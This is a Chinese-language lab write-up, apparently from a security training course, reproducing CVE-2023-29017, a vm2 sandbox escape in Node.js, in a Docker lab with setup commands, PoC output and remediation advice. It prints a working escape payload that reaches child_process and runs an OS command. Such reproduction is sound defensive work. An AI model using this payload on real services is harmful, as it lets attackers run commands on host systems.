[WHS 4期 31班] - 金建宇(@gunwoo105)
vm2是一个Node.js沙箱库,用于在受限环境中执行不可信的JavaScript。正常情况下,沙箱内部的代码不应能够访问Node.js的process、require、child_process以及主机文件系统等敏感功能。
然而,在vm2 3.9.14及更早版本中,当发生未处理的异步错误时,它未能安全处理传递给Error.prepareStackTrace的主机对象。攻击者可以利用该对象的构造函数链获取主机上下文中的Function构造函数和process对象,最终通过child_process执行操作系统命令。
| 组件 | 版本及设置 |
|---|---|
| Node.js | 18.15.0 |
| vm2 | 3.9.14 |
| 补丁版本 | 3.9.15 |
| 运行环境 | Docker Compose |
| 容器用户 | node |
| 服务端口 | 127.0.0.1:3000 |
| 包安装 | npm ci + package-lock.json |
不使用现成的有漏洞镜像,而是使用官方Node.js基础镜像和仓库中包含的源代码直接构建镜像。Dockerfile中会检查Node.js和vm2版本,如果版本与预期不符则构建失败。
RUN test "$(node --version)" = "v18.15.0" \
&& test "$(node -p "require('vm2/package.json').version")" = "3.9.14"
将worker.js作为独立进程运行的原因是PoC会触发未处理的异步错误。攻击过程中worker可能终止,但Web服务器仍持续运行,通过marker文件可以稳定验证是否成功。
必须同时满足以下条件:
vm2 3.9.14或更早版本。并非所有安装了vm2的服务都会自动暴露于远程攻击。必须存在在vm2中执行攻击者可控代码的功能。本实验中的/execute端点最小化地实现了该用例。
攻击流程如下:
传递恶意JavaScript
│
▼
触发未处理的异步错误
│
▼
调用 Error.prepareStackTrace
│
▼
暴露主机 frames 对象
│
▼
获取主机 Function 构造函数
│
▼
process → require → child_process
│
▼
容器内执行 OS 命令
docker compose build --no-cache

docker compose up -d vulnerable
检查容器状态。
docker compose ps
curl -sS \
-w '\nHTTP_STATUS=%{http_code}\n' \
<http://127.0.0.1:3000/health>

docker compose run --rm poc
echo "exit_code=$?"
PoC会自动验证以下项目:
/tmp/vm2-pwned 是否创建uid=如果希望从构建到PoC一次性执行,可使用以下命令:
docker compose up \
--build \
--abort-on-container-exit \
--exit-code-from poc
docker compose exec vulnerable sh -c '
echo "[Marker file]"
ls -l /tmp/vm2-pwned
echo
echo "[Command output]"
cat /tmp/vm2-pwned
'
docker compose down -v --rmi local --remove-orphans
完整PoC包含在 poc/poc.js 中。核心 payload 如下:
Error.prepareStackTrace = (error, frames) => {
const hostProcess =
frames.constructor.constructor('return process')();
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
};
(async () => {}).constructor('return process')();
Error.prepareStackTraceError.prepareStackTrace = (error, frames) => {
攻击者重定义了当错误栈追踪生成时执行的函数。
Function 构造函数frames.constructor.constructor
沿着有漏洞vm2暴露的主机frames对象的构造函数链,访问主机上下文中的Function构造函数。
process 对象frames.constructor.constructor('return process')();
在主机上下文中创建并执行一个返回process的函数。
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
加载沙箱内部未提供的child_process,并执行Linux id命令。
(async () => {}).constructor('return process')();
让异步函数引用沙箱中不可用的process,从而产生一个被拒绝的Promise,并进入有漏洞的栈追踪处理路径。
正常JavaScript在vm2内部执行,返回42,但不会生成操作系统命令执行证据。
[2/4] Running benign JavaScript inside vm2
Normal JavaScript returned 42 without host command execution
发送恶意payload后,逃逸vm2沙箱,并在有漏洞的Node.js进程权限下在容器内部执行id命令。
[3/4] Sending CVE-2023-29017 payload
Host command output: uid=1000(node) gid=1000(node) groups=1000(node)
PoC会再次检查存储的证据并返回成功状态。
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

直接查看证据文件会输出如下结果:

每次执行前都会删除marker文件,且在正常代码执行阶段不会生成,从而避免因前次执行结果残留导致的误判。
升级至不受影响的版本。
{
"dependencies": {
"vm2": "3.9.15"
}
}
然后更新锁文件并使用固定依赖进行安装。
npm install --package-lock-only
npm ci
官方公告未提供其他变通方案,因此不建议继续使用有漏洞的版本。
不要在与应用程序相同的Node.js进程中执行不可信代码。应使用单独的进程、容器或虚拟机进行隔离,并在执行完毕后销毁环境。
no-new-privileges对代码执行功能实施强认证和授权,不要向不特定用户开放任意代码执行API。不过,认证只是减少攻击面的辅助措施,不能替代修复漏洞本身。
| 文件 | 作用 |
|---|
docker-compose.yml | 定义有漏洞服务与PoC容器的配置及运行顺序 |
Dockerfile | 采用多阶段构建方式构建有漏洞服务与PoC镜像 |
vulnerable/src/server.js | 提供 /health、/execute、/evidence 端点 |
vulnerable/src/worker.js | 在单独进程的vm2中执行用户输入 |
poc/poc.js | 自动化版本检查、正常对照、攻击及证据确认 |
vulnerable/package-lock.json | 固定包括传递依赖在内的包版本 |